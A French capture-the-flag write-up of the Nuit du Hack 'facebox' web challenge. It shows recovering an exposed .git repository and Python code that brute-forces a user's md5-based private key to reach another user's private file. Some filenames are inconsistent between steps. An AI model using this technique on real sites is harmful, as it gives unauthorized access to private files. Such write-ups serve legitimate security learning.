Table des matières

facebox

Web 100 points http://quals.nuitduhack.com/challenges/view/10 http://prod.facebox.challs.nuitduhack.com/

Énoncé

“A shady company decided to write their own software for storing files in the cloud. No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours.” You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors.”

challenge

le site prod.facebox.challs.nuitduhack.com permet de créer un compte puis de se logger. On peut ensuite uploader des fichiers sur le serveur soit en public soit en privé. Dans le second cas, l'url du fichier est cachée aux autres utilisateurs).

Upload de fichier

Après avoir perdu du temps à essayer d’exécuter du code sur la machine on se dit que s'il y a un prod, il doit également y avoir un dev.

dev

Bingo avec http://dev.facebox.challs.nuitduhack.com/ on trouve un projet git avec arborescence suivante :

  http://dev.facebox.challs.nuitduhack.com/.git/config
  http://dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG
  http://dev.facebox.challs.nuitduhack.com/.git/HEAD
  http://dev.facebox.challs.nuitduhack.com/.git/refs/heads/master
  http://dev.facebox.challs.nuitduhack.com/.git/logs/

La page http://dev.facebox.challs.nuitduhack.com/.git/COMMIT_EDITMSG indique le dernier commit : “hash generation function”

On peut facilement récupérer les fichiers présent sur ce dépôt avec rip-git.pl: https://github.com/ctfs/write-ups-2014/tree/master/9447-ctf-2014/tumorous https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-git.pl

Un peu de python

On trouve le script python suivant qui permet de générer les liens des fichiers uploadés :

  #!/usr/bin/env python
  # -*- coding: utf-8 -*-
  
  
  def generate_random_filename(user_id,filename):
      dbuser = users.query.filter_by(id=user_id).first()
  
      if dbuser.privkey is not None:
          return md5(str(dbuser.privkey)+filename).hexdigest()
      else:
          privkey = str(randint(10000000,99999999))
          upd = users.query.filter_by(id=user_id).first()
          upd.privkey = privkey
          db.session.commit()
      return md5(str(privkey)+filename).hexdigest()

récupération de fichier privé

On nous a demandé de tester la sécurité de la plateforme, la récupération de fichier privé est une bonne faille de sécurité. Les premiers fichiers ont du être uploadé par le staff. On se rend compte qu'on doit récupérer le fichier privé confidentials.txt uploadé par l'utilisateur koffi. Heureusement un second fichier a été uploadé par cet utilisateur : paste1.txt à l'adresse http://prod.facebox.challs.nuitduhack.com/files/view/3686d78a6e9d5258773a6ae0469d3ed4

Pour trouver la clé privée de koffi, on inverse rapidement le script précédent, et on brute force la clé privé :

  import hashlib
  
  for i in range(10000000,100000000):
          if((i % 10000000) == 0):
                  print "%d" % (i)
          if(hashlib.md5(str(i)+"paste01.txt").hexdigest() == "3686d78a6e9d5258773a6ae0469d3ed4"):
                  print "privkey found : %d" % (i)
  
  print "Done!"

Résultat : privkey found : 95594864

Avec cette clé privée on applique l'algorithme avec le fichier crendentials.txt :

  import hashlib
  
  
  def generate_random_filename(user_id,filename):
  
      privkey = 95594864
      print(hashlib.md5(str(privkey)+filename).hexdigest())
  
  if __name__ == "__main__":
      generate_random_filename("koffi", "confidentials.txt")

Résultat : 35e2cb0b2e8bd40347ecd4e32767a060

On se rend donc sur sur l'url : http://prod.facebox.challs.nuitduhack.com/files/view/35e2cb0b2e8bd40347ecd4e32767a060

On obtient le flag et on valide l'épreuve.